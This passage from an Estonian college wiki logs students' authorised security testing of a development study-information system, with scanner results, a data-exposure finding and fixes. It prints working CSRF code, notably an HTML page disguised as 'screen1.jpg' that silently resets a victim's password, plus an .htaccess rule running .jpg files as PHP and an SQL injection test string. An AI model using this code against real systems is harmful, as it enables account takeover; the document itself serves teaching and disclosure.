&amp;lt;li&amp;gt;Moodustades loodud faili asukohast kood ja kasutades&amp;lt;/li&amp;gt;&lt;br /&gt;
  data:php/html;base64,aHR0cDovL2R2d2EvaGFja2FibGUvdXBsb2Fkcy91cGxvYWQyLmpwZw==&lt;br /&gt;
üritatakse seda arvutisse salvestada. Salvestamisel .part-nimelise faili, on selle sisuks samuti lihtsalt faili asukoht veebis:&lt;br /&gt;
  http://dvwa/hackable/uploads/*.jpg&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== 3. päev ==&lt;br /&gt;
&lt;br /&gt;
=== Alo tegevus ===&lt;br /&gt;
[[File:PDFHinneteleht.png|200px|thumb|right|Näide hinnetelehest]]&lt;br /&gt;
Kui testisime failide uploadimis võimalusi tuli idee testida ka failide allalaadimist.&amp;lt;br&amp;gt;&lt;br /&gt;
Faile saab alla laadida enda profiili all õppesooritustes.&amp;lt;br&amp;gt;&lt;br /&gt;
Seal on võimalik alla laadida nii .pdf kui ka .odt formaadis õppesooritusi.&amp;lt;br&amp;gt;&lt;br /&gt;
Allalaadimis Urli muutmisega oli võimalik alla laadida teiste kasutajate õpitulemusi.&amp;lt;br&amp;gt;&lt;br /&gt;
Õpitulemused sisaldasid lisaks tulemustele ka inimese isikukoodi.&amp;lt;br&amp;gt;&lt;br /&gt;
Kui oleks soovinud õpitulemusi alla laadida kindla kasutaja õpitulemusi oleks saanud õpilase id kätte tema profiili pildi id kaudu.&amp;lt;br&amp;gt;&lt;br /&gt;
Kuna see oli tõsine turvaauk ja õpilaste andmed on konfidentsiaalsed täiendati url accessi nii, et enam üks õpilane teise inimese andmetele ligi ei pääseks.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Urmo tegevus ===&lt;br /&gt;
====Subgraph Vega ====&lt;br /&gt;
Subgraph Vega on beeta staadiumis olev vabavaraline veebiapplikatsioni nõrkuste skänner, proxy ja platvorm.&lt;br /&gt;
Selle tööriistaga annab välja otsida SQL injectionit võimaldavad kohad, Cross-Site-Scriptingut, URL injection jne võimaldavaid nõrkusi veebilehel.&lt;br /&gt;
Programm on Java põhine graafilise liidesega ja töötab Linux&#039;i, OS X ja Windowsi peal.&lt;br /&gt;
&lt;br /&gt;
[[File:Screenshot_vega1.png|200px|thumb|right|Subgraph Vega screenshot]]&lt;br /&gt;
Päeva alguses sai hakatud katsetama seda ÕISi arenduskeskkonna peal.&lt;br /&gt;
&lt;br /&gt;
Alustasime uut skänni (Start New Scan).&lt;br /&gt;
Küsitakse URI, milleks andsime https://itcollege.dev.ois.ee ja Next.&lt;br /&gt;
&lt;br /&gt;
Järgnevalt on vaja anda kätte sisselogitud kasutaja cookie ja vajadusel lisada kindlate linkide välistamise regullaar avaldised. &lt;br /&gt;
&lt;br /&gt;
Me lisasime ainult küpsise (cookie) sisu: &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
itcollege_OIS_SESSION_ID=sellecookiesisu1234563221&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
ning Finish.&lt;br /&gt;
&lt;br /&gt;
[[File:Screenshot_vega2.png|200px|thumb|right|Subgraph Vega screenshot ühe leitud nõrkusega]]&lt;br /&gt;
Järgnevalt ta hakkab skännima ette antud veebilehte ja kui küpsise info ning aadress on õige, siis ta suudab sisselogimisest mööda saada ilusti ja saab uurima hakata, kus võimalikud vead võivad olla. Tegutsemine võttis suhteliselt kaua aega (u. 30minutit).&lt;br /&gt;
&lt;br /&gt;
Katkestasime skännimise ära, kui ta oli umbes 15000 objektist ära skänninud umbes 12000. &lt;br /&gt;
&lt;br /&gt;
Selleks ajaks oli Vega leidnud kõrgema tasemega Cross Site Script&#039;ingu nõrkusi 58, keskmise tasemega Absolute Path nõrkusi 2, ja lihtsalt informatsiooniks 6 tühja element Body  nõrkust.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Uurides leitud Cross Site Scriptingu leitud nõrkusi, saime aru, et tegu on selliste aadressitega, milles veebilehed kasutavad aadressirealt saadud ID&#039;sid ja parameetreid ära oma pealkirjades.&lt;br /&gt;
Õnneks parameetritega väljad olid veebilehel korralikult ära escape&#039;itud ja saniteeritud, et suhteliselt võimatu oli saada mõnda scripti sinna sisse panna, et veebileht midagi teistmoodi teeks.&lt;br /&gt;
&lt;br /&gt;
ID väljade osas aga ei olnud kaitstud üks link, mille avastas Alo ennem mind.&lt;br /&gt;
&lt;br /&gt;
==== Wapiti ====&lt;br /&gt;
Proovisime ära ka Backtrack 5 R2 tööriista Wapiti. &lt;br /&gt;
(Koduleht: http://wapiti.sourceforge.net/)&lt;br /&gt;
&lt;br /&gt;
Kahjuks ei saanud seda tööriista kasutada dev-ÕISi pihta, kuna see tööriist ei osanud HTTPS&#039;iga midagi teha.&lt;br /&gt;
&lt;br /&gt;
==== CSRF käsitsi rünne HTML/PHP/JAVASCRIPTiga====&lt;br /&gt;
=====1. katse - ÕISi keskkkonna keelevahetus =====&lt;br /&gt;
[[File:Keeleseaded.png|thumb|200px|right|ÕISi keeleseadete menüü]]&lt;br /&gt;
&lt;br /&gt;
Päeva esimeses pooles sai avastatud, et dev-ÕISi kasutaja keskkonna keelt saab muuta, kui mõnelt väliselt veebilehelt saata vastav POST päring lingile, mis muudab keelte seadistust.&lt;br /&gt;
&lt;br /&gt;
Võtsime dev-ÕIS&#039;i Source Code&#039;ist välja vastava formi osa ja panime eraldi html faili.&lt;br /&gt;
Koristasime mittevajaliku disaini koodi juurest ära.&lt;br /&gt;
Muutsime form&#039;i action väärtust pannes olemasoleva ette https://itcollege.dev.ois.ee/ osa ehk oleks absoluutne aadress relatiivse asemel.&lt;br /&gt;
Teises fieldis, kus oli vaja määrata keele tähistus, mida saadetaks, panime väärtuseks &amp;quot;en&amp;quot; ehk inglise keelne keskkond tekiks.&lt;br /&gt;
Panime koodi enose veebiserverisse üles nimega ois.html.&lt;br /&gt;
&lt;br /&gt;
Faili sisu:&lt;br /&gt;
&amp;lt;source lang=&amp;quot;html4strict&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;form id=&amp;quot;settingsForm&amp;quot; method=&amp;quot;post&amp;quot; action=&amp;quot;https://itcollege.dev.ois.ee/setting/edit?user_id=2198&amp;quot; &lt;br /&gt;
enctype=&amp;quot;application/x-www-form-urlencoded&amp;quot;&amp;gt;&lt;br /&gt;
 &amp;lt;input type=&amp;quot;hidden&amp;quot; AUTOCOMPLETE=&amp;quot;off&amp;quot; name=&amp;quot;default_language&amp;quot;value=&amp;quot;en&amp;quot;&amp;gt;&lt;br /&gt;
    &amp;lt;br&amp;gt;&lt;br /&gt;
  &amp;lt;input type=&amp;quot;submit&amp;quot; value=&amp;quot;Salvesta seaded&amp;quot; name=&amp;quot;Savesettings&amp;quot;&amp;gt;&lt;br /&gt;
    &amp;lt;/form&amp;gt;&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Panime faili enda arvutis käima, tekkis vastav form ette, kus submit pannes päring jõudis õisi ja muudeti kogeselt ära keskkonna kasutaja keel.&lt;br /&gt;
&lt;br /&gt;
Katsetas koodi enda konto peal Taavi.&lt;br /&gt;
&lt;br /&gt;
=====2. katse - ÕIS&#039;i kasutaja parooli muutmine =====&lt;br /&gt;
&lt;br /&gt;
[[File:Salasona_ois.PNG|200px|thumb|right|Dev_OIS salasõna muutmisvorm]]&lt;br /&gt;
Otsustasime proovida, kas CSRF nõrkust annaks ära kasutada ka ÕISi administraatori pettes, kui saata talle pildi link, kus tegelikult taga jookseb HTML/JAVASCRIPT koos, mis saadab POST päringu salasõna muutmisega. Selle toimiseks oli eelduseks see, et rünnatav on ründamise hetkel juba dev-ÕISi sisselogitud.&lt;br /&gt;
&lt;br /&gt;
Selle jaoks uurisime välja, kus asub dev-ÕIS&#039;i kasutaja salasõna muutmise vorm ja kuhu saadetakse vormi sisu.&lt;br /&gt;
Vormilt võtsime lähtekoodist (Source Code) vastava koodi välja ja panime eraldi php faili.&lt;br /&gt;
&lt;br /&gt;
Muutsime password ja password_check lahtrite väärtused järgnevaks: &amp;quot;test123&amp;quot; ehk kasutaja uus parool peale rünnakut.&lt;br /&gt;
&lt;br /&gt;
Lahtrites muutsime user_id&#039;d sisaldavad väärtused rünnatava kasutaja user_id vastu, mille saab kätte tudengite/vilistlaste/õppejõudude piltide aadressidelt kätte.&lt;br /&gt;
&lt;br /&gt;
Kõik vormi lahtrite tüübid määrasime peidetud ehk &amp;quot;hidden&amp;quot;, et poleks midagi näidata. &lt;br /&gt;
&lt;br /&gt;
Kuna parooli muutmise formil on küljes ka continue parameeter, mis näitab seda, kuhu kasutaja viiakse peale parooli muutmist. &lt;br /&gt;
Selle muutsime väljalogimise lingiks, et peale POST päringu tegemist suunatakse kasutaja väljalogimise lehele.&lt;br /&gt;
Sellisel juhul ei tule ette teadet, et parooli just muudeti kuskil ja kasutaja enam ei saa oma vana parooliga sisse logida.&lt;br /&gt;
&lt;br /&gt;
Lisasime CSS koodi Submit nupu ära peitmiseks. &lt;br /&gt;
JavaScript koodi, et kui leht on laetud, siis automaatselt vajutataks seda nähtamatut Submit nuppu, et brauser saadaks HTML POST päringu ÕISi poole teele.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Salvestasime faili ära kui &amp;quot;screen1.jpg&amp;quot; fail. Ohver arvab, et tegu on pildiga, kui saadame lingi ja seda veel usaldusväärse aadressi pealt.&lt;br /&gt;
Tegelikult kasutaja ei näe praegu ühtegi pilti ja suunatakse edasi.&lt;br /&gt;
&lt;br /&gt;
Faili sisu:&lt;br /&gt;
&amp;lt;source lang=&amp;quot;html4strict&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;html&amp;gt;&lt;br /&gt;
 &amp;lt;head&amp;gt;&lt;br /&gt;
  &amp;lt;style type=&amp;quot;text/css&amp;quot;&amp;gt;&lt;br /&gt;
	  #Setpassword{ width: 0px; height: 0px; border: none; padding: 0; margin: 0; }&lt;br /&gt;
  &amp;lt;/style&amp;gt;&lt;br /&gt;
 &amp;lt;/head&amp;gt;&lt;br /&gt;
 &amp;lt;body&amp;gt;&lt;br /&gt;
  &amp;lt;body onload=&amp;quot;document.forms.setPasswordForm.submit();&amp;quot;&amp;gt;&lt;br /&gt;
  &amp;lt;form name=&amp;quot;setPasswordForm&amp;quot; id=&amp;quot;setPasswordForm&amp;quot; &lt;br /&gt;
  action=&amp;quot;https://itcollegedev.ois.ee/et/user/set-own-password?user_id=2227&amp;amp;amp;continue=/auth/logout&amp;quot;  &lt;br /&gt;
  method=&amp;quot;post&amp;quot;&amp;gt;&lt;br /&gt;
   &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;user_id&amp;quot; value=&amp;quot;2227&amp;quot; id=&amp;quot;user_id&amp;quot; /&amp;gt;&lt;br /&gt;
   &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;continue&amp;quot; value=&amp;quot;%2Fet%2Fsetting%3Fuser_id%3D2227&amp;quot; id=&amp;quot;continue&amp;quot; /&amp;gt;&lt;br /&gt;
   &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;password&amp;quot; id=&amp;quot;password&amp;quot; value=&amp;quot;test123&amp;quot; /&amp;gt;&lt;br /&gt;
   &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;password_check&amp;quot; id=&amp;quot;password_check&amp;quot; value=&amp;quot;test123&amp;quot; /&amp;gt;&lt;br /&gt;
   &amp;lt;input type=&amp;quot;submit&amp;quot; name=&amp;quot;Setpassword&amp;quot; id=&amp;quot;Setpassword&amp;quot; value=&amp;quot;Muuda salasõna&amp;quot; /&amp;gt;&lt;br /&gt;
  &amp;lt;/form&amp;gt;&lt;br /&gt;
 &amp;lt;/body&amp;gt;&lt;br /&gt;
&amp;lt;/html&amp;gt;&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:Admin_proof.PNG|200px|thumb|right|Ligisaadud adminpaneelile]]&lt;br /&gt;
&lt;br /&gt;
Tegime uue faili htaccess.txt, kuhu panime kirja käsu, mis käivitaks php ja jpg faile kui php failidena.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
AddType application/x-httpd-php .php .jpg&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Laadisime mõlemad failid Enose veebiserverisse avalikult. &lt;br /&gt;
&lt;br /&gt;
Tegime enda kontode peal katsed, et kõik toimiks nii nagu vaja ja ega probleeme ei teki. &lt;br /&gt;
Peale seda juhendaja Mart Manguse abiga saime ÕISi adminnile Valter Kunglale väikese test-rünnaku teha.&lt;br /&gt;
Mart Mangus üritas seletada, et hinnetelehel on midagi viga ja palus, et Valter vaataks asja üle. &lt;br /&gt;
Sellega saavutasime selle, et Valter logis dev-ÕISi sisse oma kontoga.&lt;br /&gt;
Valter ütles, et ta ei näe midagi viltu ja selle peale saatsime talle nii nimetatud screenshoti, mille taga oli tegelt meie koodiga screen1.jpg fail. &lt;br /&gt;
Kui see fail käivitati, siis Valter Kungla parool muudeti ära ja logiti süsteemist välja. &lt;br /&gt;
Tol hetkel, täpselt ennem väljalogimist ja ümbersuunamist, muutus tema parool meie pantud &amp;quot;test123&amp;quot;-ks ja me saime ligipääsu administraatori õigustes kontole. &lt;br /&gt;
Rünnak oli edukas.&lt;br /&gt;
[[File:Pass fixed.PNG|200px|thumb|right|Dev_OIS fixed]]&lt;br /&gt;
&lt;br /&gt;
Andsime teada Valterile teada, et tegelikult tegime salajase ründe. &lt;br /&gt;
Suhteliselt koheselt oli Valteril see CSRF ründe vastu dev-ÕIS ära parandatud, kuna tal oli juba koodiparandus olemas aga lihtsalt rakendamata ja me tabasime ajaliselt viimase hetke ära, kus seda rünnet sai teha. &lt;br /&gt;
Peale parandust enam see rünne läbi ei läinud ja süsteem hõiskab vastu, et tegu on ründe või mõne bug&#039;iga.&lt;br /&gt;
&lt;br /&gt;
Kuna tegu oli ÕIS&#039;i arendusversiooniga, siis oli serveris oli lubatud ka error_reporting, mis annab välja ka pildil oleva errorite jada.&lt;br /&gt;
Error Reporting on maha keeratud Live keskkonnas ja seal sellist pikka keerulist koodijada veateadetega ette ei tule ning saadetakse teade arendajatele automaatselt.&lt;br /&gt;
&lt;br /&gt;
=== Taavi tegevus ===&lt;br /&gt;
===Burp suite===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Esimese asjane peale Burp suite käivitamist. Tabilt proxy  -&amp;gt;intercept -&amp;gt;intercept off&amp;lt;br&amp;gt;&lt;br /&gt;
Järgnevalt seadistada proxy enda veebiprauserist (mõistlik panna localhost aadress 127.0.0.1 port 8080 ning lülitada sisse ka ssl proxy)&amp;lt;br&amp;gt;&lt;br /&gt;
Proxy  -&amp;gt; options alt lülitada sisse proxy listner pordile 8080 .&amp;lt;br&amp;gt;&lt;br /&gt;
Ohvri valimine &amp;lt;br&amp;gt;&lt;br /&gt;
Valida intruder -&amp;gt; target ning sinna sisestada veebileht mida on plaanis uurida https lehe korral lülitada sisse ssl ning pordiks valida 443.&amp;lt;br&amp;gt;&lt;br /&gt;
Kui on tarvis lehte ka sisse logituna uurida siis tuleb seadistada järgmised parameetrid.&amp;lt;br&amp;gt;&lt;br /&gt;
Valida Options tab sealt sisse lülitada www authentication ning täita all olevad read.&amp;lt;br&amp;gt;site mida rünnatakse tema tüüp(üldiselt basic), login, parool ning valida add.&lt;br /&gt;
Kui on soov sooritada veebilehe sipderingi siis tuleb excludida ka logout käsud.&amp;lt;br&amp;gt;&lt;br /&gt;
Targer-&amp;gt;scope -&amp;gt; exclude  frome scope ja veenduda at välja on arvatud logout laused.&amp;lt;br&amp;gt;&lt;br /&gt;
Spideringi sisselülitamine &amp;lt;br&amp;gt;&lt;br /&gt;
Valida tab Spide ning sealt panna linnuke kasti spider running.&amp;lt;br&amp;gt;&lt;br /&gt;
Ning oledki valmis saama laheküljelt infot.&amp;lt;br&amp;gt;&lt;br /&gt;
Tööriistal on veel tohutu hulk seadistus võimalusi, aga kahjuks ajanappuse tõttu ei jõudnud nende kõikidega tutvuda.&amp;lt;br&amp;gt;&lt;br /&gt;
Tööriis ei ole mõeldud algajatele, kuid teda tundma õppides on võimailik sooritada keerukaid operatsioone. Suurim nõrkus sellel programmil on see, et ta otsing ei näita ära nõrkasid kohti veebilehel vaid need tuleb ise koodist ülesse otsida.&lt;br /&gt;
&lt;br /&gt;
==Nessuse algkäivitamine==&lt;br /&gt;
Valida backtrackist  vulnerability scannerite alt nessus ning edasi nessus register .&amp;lt;br&amp;gt; Täite ära vajalikud read veebilehel ning mailile saadetakse aktiveerimis kood.&amp;lt;br&amp;gt; Järgnevalt avada termnal ning sisestada käsk : /opt/nessus/bin/nessus –fetch –register **********(tärnide asemele meilile saadetud kood)&amp;lt;br&amp;gt;&lt;br /&gt;
Nüüd läheb aega kuni nessus updatedakse (ole valmis ootama võtab tükk aega.)&amp;lt;br&amp;gt;&lt;br /&gt;
Järgnevalt käivitada nessus user add ning sinna sisestada soovitav kasutajanimi nessusele, kui küsitakse kas admin konto siis sisestada y. Kõik on korras kui tuleb ette kiri user added.&amp;lt;br&amp;gt;&lt;br /&gt;
Järgnevalt valida nessus start.&amp;lt;br&amp;gt;&lt;br /&gt;
Et nessusesse siseneda veebibrauseri URL i kirjutada 127.0.0.1:8834 &lt;br /&gt;
Siis avaneb leht kus tuleb vajutada lehe alaosas olevale lingile mis suunab https leheküljele.&amp;lt;br&amp;gt;&lt;br /&gt;
Antud tööriist ei ole just kõige sobilikum veebilehtede testimiseks.&lt;br /&gt;
&lt;br /&gt;
=== Matise tegevus ===&lt;br /&gt;
==Väike upload tegevus, mis võiks olla teisiti==&lt;br /&gt;
Ajal mil on avatud stipendiumi taotlemine on võimalik uploadida üles dokumente, et anda lisainformatsiooni abitoetuse taotlemiseks.&lt;br /&gt;
Testimisel selgus, et hetkel üles on võimalik üles laadida ükskõik mis laiendiga faile.&lt;br /&gt;
Proovisime üles laadida: &lt;br /&gt;
&amp;lt;li&amp;gt;filmi&lt;br /&gt;
&amp;lt;li&amp;gt;exe &lt;br /&gt;
&amp;lt;li&amp;gt;jpm faile &lt;br /&gt;
&amp;lt;br&amp;gt;kõik läks läbi ja sai uploadida.&lt;br /&gt;
&amp;lt;br&amp;gt;Sellises kohas võiks olla süsteem tehtud &amp;lt;b&amp;gt;whitelisti&amp;lt;/b&amp;gt; põhimõttel,&lt;br /&gt;
&amp;lt;br&amp;gt;et lubatud oleks ainult: &lt;br /&gt;
&amp;lt;li&amp;gt;.doc &lt;br /&gt;
&amp;lt;li&amp;gt;.docx &lt;br /&gt;
&amp;lt;li&amp;gt;.pdf &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Sanderi tegevus ===&lt;br /&gt;
[[File:W3af skanner.png|150px|thumb|w3af skänni seaded]]&lt;br /&gt;
Backtarcki keskkonnas sai testitud programmi w3af.&lt;br /&gt;
&lt;br /&gt;
==== Backtrack: w3af ====&lt;br /&gt;
[[File:Basic HTTP Auth.png|150px|thumb|w3af Basic HTTP Auth]]&lt;br /&gt;
[[File:ÕISi küpsis.png|150px|thumb|Mozilla Firefox küpsis]]&lt;br /&gt;
[[File:W3af_Cookie.png|150px|thumb|w3af Cookie]]&lt;br /&gt;
Võimalik kätte saada SSL Certificate.&lt;br /&gt;
Aadressiribalt leitud sisselogimis-aadressiga sisse logimine ei õnnestunud:&lt;br /&gt;
  https://itcollege.dev.ois.ee/auth/login?continue=/auth/login?&lt;br /&gt;
  username=&amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;KASUTAJANIMI&amp;lt;/font&amp;gt;&amp;amp;continue=&amp;amp;Login=Logi sisse&amp;amp;pw=&amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;PAROOL&amp;lt;/font&amp;gt;&lt;br /&gt;
Programmi sisestatud andmetega ka mitte:&lt;br /&gt;
  Configuration -&amp;gt; HTTP Config -&amp;gt; Basic HTTP Authentication:&lt;br /&gt;
    basicAuthUser: &amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;KASUTAJANIMI&amp;lt;/font&amp;gt;&lt;br /&gt;
    basicAuthPass: &amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;PAROOL&amp;lt;/font&amp;gt;&lt;br /&gt;
    basicAuthDomain: http://itcollege.dev.ois.ee&lt;br /&gt;
Mozilla Firefoxi küpsis õnnestus luua Töölauale hetkel sisse logitud sessiooni ID-ga. Programmi küpsise sisestamine:&lt;br /&gt;
  Configuration -&amp;gt; HTTP Config -&amp;gt; Cookies&lt;br /&gt;
    cookieJarFile: /root/Desktop/&amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;ois_cookie.txt&amp;lt;/font&amp;gt;&lt;br /&gt;
Seda loodud sessiooni ID-ga küpsist kasutada algul ei õnnestunud. Ilmselt oli midagi valesti. Õige on:&lt;br /&gt;
  # Netscape HTTP Cookie File&lt;br /&gt;
  .dev.ois.ee	TRUE	/	FALSE	1731510001	itcollege_OIS_SESSION_ID	&amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;870aqllryuw3cmf6cv8ellha03&amp;lt;/font&amp;gt;&lt;br /&gt;
Esimene rida on nõutav! Teiste tähendused:&lt;br /&gt;
  domain - The domain that created and that can read the variable.&lt;br /&gt;
  flag - A TRUE/FALSE value indicating if all machines within a given domain can access the variable.&lt;br /&gt;
    This value is set automatically by the browser, depending on the value you set for domain.&lt;br /&gt;
  path - The path within the domain that the variable is valid for.&lt;br /&gt;
  secure - A TRUE/FALSE value indicating if a secure connection with the domain is needed to access the variable.&lt;br /&gt;
  expiration - The UNIX time that the variable will expire on.&lt;br /&gt;
  name - The name of the variable.&lt;br /&gt;
  value - The value of the variable.&lt;br /&gt;
Küpsis on leitav Mozilla Firefoxis peale itcollege.dev.ois.ee-s oma kasutajaga sisse logimist:&lt;br /&gt;
  Edit -&amp;gt; Preferences -&amp;gt; Privacy -&amp;gt; History -&amp;gt; remove individual cookies&lt;br /&gt;
    Search: itcollege.dev.ois.ee&lt;br /&gt;
    Leitud valiku all Cookie Name: itcollege_OIS_SESSION_ID&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Skänneerimine:&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;The page language is: en&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;The URL: &amp;quot;https://itcollege.dev.ois.ee/&amp;quot; has a &amp;quot;&amp;lt;form&amp;gt;&amp;quot; element with auto-complete enabled.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;A comment with the string &amp;quot;&amp;lt;p&amp;amp;gt;tunne end kui koolis&amp;lt;/p&amp;amp;gt;&amp;quot; was found in: &amp;quot;https://itcollege.dev.ois.ee/&amp;quot;.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Found a form login. The action of the form is: &amp;quot;https://itcollege.dev.ois.ee/auth/login&amp;quot;.&amp;lt;/li&amp;gt;&lt;br /&gt;
  The username field to be used is: &amp;quot;username&amp;quot;.&lt;br /&gt;
  The password field to be used is: &amp;quot;pw&amp;quot;.&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;Found authentication credentials to: &amp;quot;https://itcollege.dev.ois.ee/auth/login&amp;quot;. A correct user and password combination is: Administrador/6666666&amp;lt;/font&amp;gt;&amp;lt;/li&amp;gt;&lt;br /&gt;
  Antud kasutaja ja parooliga sisse ei saanud.&lt;br /&gt;
&amp;lt;li&amp;gt;The URL: &amp;quot;https://itcollege.dev.ois.ee/&amp;quot; returned a response that may contain a &amp;quot;SHA1&amp;quot; hash. The hash is: &amp;quot;c7b39896de5f296b5a44c2dfcd9f0600b2cf424d&amp;quot;. This is uncommon and requires human verification.&amp;lt;/li&amp;gt;&lt;br /&gt;
  Taolisi ja MD5 hashiga ridu leiti 355. Kõik vajavad inimese kontrolli.&lt;br /&gt;
&amp;lt;li&amp;gt;The URL: &amp;quot;https://itcollege.dev.ois.ee/&amp;quot; sent these cookies:&amp;lt;/li&amp;gt;&lt;br /&gt;
  itcollege_OIS_SESSION_ID=lm8llh4i3k2yj4d7rho6791u05; path=/&lt;br /&gt;
  itcollege_OIS_SESSION_ID=lm8llh4i3k2yj4d7rho6791u05; Path=/&lt;br /&gt;
&amp;lt;li&amp;gt;The SMTP settings in emailReport plugin seem to be incorrect. Original error: &amp;quot;[Errno 111] Connection refused&amp;quot;.&amp;lt;/li&amp;gt;&lt;br /&gt;
  Kui tuleb see veateade, siis skänn katkeb.&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;The following scripts allow an attacker to send POST data as query string data (this makes XSRF easier to exploit):&amp;lt;/font&amp;gt;&amp;lt;/li&amp;gt;&lt;br /&gt;
  The URL: https://itcollege.dev.ois.ee/auth/openid-login is vulnerable to cross site request forgery.&lt;br /&gt;
    It allows the attacker to exchange the method from POST to GET when sending data to the server.&lt;br /&gt;
  The URL: https://itcollege.dev.ois.ee/auth/id-login is vulnerable to cross site request forgery.&lt;br /&gt;
    It allows the attacker to exchange the method from POST to GET when sending data to the server.&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;SQL injection in a Unknown database was found at: &amp;quot;https://itcollege.dev.ois.ee/auth/login&amp;quot;, using HTTP method POST.&amp;lt;/font&amp;gt;&amp;lt;/li&amp;gt;&lt;br /&gt;
  The sent post-data was: &amp;quot;username=John8212&amp;amp;security_key_sis_global=d&#039;z&amp;quot;0&amp;amp;Login=Logi%20sisse&amp;amp;continue=56&amp;amp;pw=FrAmE30.&amp;quot;.&lt;br /&gt;
    The modified parameter was &amp;quot;security_key_sis_global&amp;quot;. This vulnerability was found in the request with id 390.&lt;br /&gt;
&amp;lt;li&amp;gt;Leidis ka otsirobotitele mõeldud faili: https://itcollege.dev.ois.ee/robots.txt&amp;lt;/li&amp;gt;&lt;br /&gt;
  User-agent: *&lt;br /&gt;
  Disallow: /&lt;br /&gt;
  Allow: /curriculum&lt;br /&gt;
  Allow: /subject&lt;br /&gt;
  Allow: /diploma&lt;br /&gt;
  Allow: /schedule/ical&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== 4. päev - Presentatsiooni tegemine ja esitlemine ==&lt;br /&gt;
&lt;br /&gt;
Koostasime presentatsiooni ja esitlemine.&lt;br /&gt;
&lt;br /&gt;
[[Media:Security_team_presentation.ppt]]&lt;br /&gt;
&lt;br /&gt;
== Arvamused intensiivõppe nädala kohta ==&lt;br /&gt;
&lt;br /&gt;
Sander: Õppisime erinevaid testprogramme ja testkeskkondi kasutama, mida varem kunagi kasutanud polnud. Suutsime avastada nii mõnegi vea, mida varem avastatud ei olnud. Usun, et ÕIS on nüüd kasvõi veidigi turvalisem. Soovitan ka teistele tudengitele intensiivõppenädalal osalemist, kuna valides õige teema võib olla päris huvitav tegeleda millegagi, mida varem teinud pole või mida tegelikult lihtsalt ei ole lubatud teha.&lt;br /&gt;
&lt;br /&gt;
Urmo: Intensiivõppe nädalaga sai õpitud nii mõndagi huvitavat veebiturve ja selle testimise kohta. Kuna aega oli vähe, siis sai hulgaliselt kogemust ja oskust reaalselt planeerida mahukat tööd täiesti nullist kuni reaalse rakendatava tulemuseni ning pani proovile stressitaluvuse tõestamaks pinge all jätkusuutlikku töötamist. Intensiivõppe nädalal võiksid osaleda kõik, kellel väheke tahtmist midagi uurida ja korda saata ning saada reaalset töökogemust ennem töömaailma sukeldumist.&lt;br /&gt;
&lt;br /&gt;
== Tegijad ==&lt;br /&gt;
Alo Konno A21&lt;br /&gt;
&lt;br /&gt;
Urmo Lihten A21&lt;br /&gt;
&lt;br /&gt;
Taavi Podžuks A22&lt;br /&gt;
&lt;br /&gt;
Matis Alliksoo A22&lt;br /&gt;
&lt;br /&gt;
Sander Saarm A22&lt;br /&gt;
&lt;br /&gt;
== Juhendajad ==&lt;br /&gt;
Mart Mangus&lt;br /&gt;
&lt;br /&gt;
Margus Ernits&lt;br /&gt;
&lt;br /&gt;
Valter Kungla&lt;/div&gt;</summary>
		<author><name>Ulihten</name></author>
	</entry>
	<entry>
		<id>https://wiki.itcollege.ee/index.php?title=Security_team&amp;diff=47060</id>
		<title>Security team</title>
		<link rel="alternate" type="text/html" href="https://wiki.itcollege.ee/index.php?title=Security_team&amp;diff=47060"/>
		<updated>2012-03-30T17:29:58Z</updated>

		<summary type="html">&lt;p&gt;Ulihten: /* Arvamused intensiivõppe nädala kohta */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== 1. päev - Materjalidega tutvumine ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h1&amp;gt;Valmimisel!&amp;lt;/h1&amp;gt;&lt;br /&gt;
&lt;br /&gt;
https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project&lt;br /&gt;
&lt;br /&gt;
    A1: Injection - Urmo&lt;br /&gt;
    A2: Cross-Site Scripting (XSS) - Alo&lt;br /&gt;
    A3: Broken Authentication and Session Management - Sander&lt;br /&gt;
    A4: Insecure Direct Object References - Alo&lt;br /&gt;
    A5: Cross-Site Request Forgery (CSRF) - Taavi&lt;br /&gt;
    A6: Security Misconfiguration - Matis&lt;br /&gt;
    A7: Insecure Cryptographic Storage - Matis&lt;br /&gt;
    A8: Failure to Restrict URL Access - Urmo&lt;br /&gt;
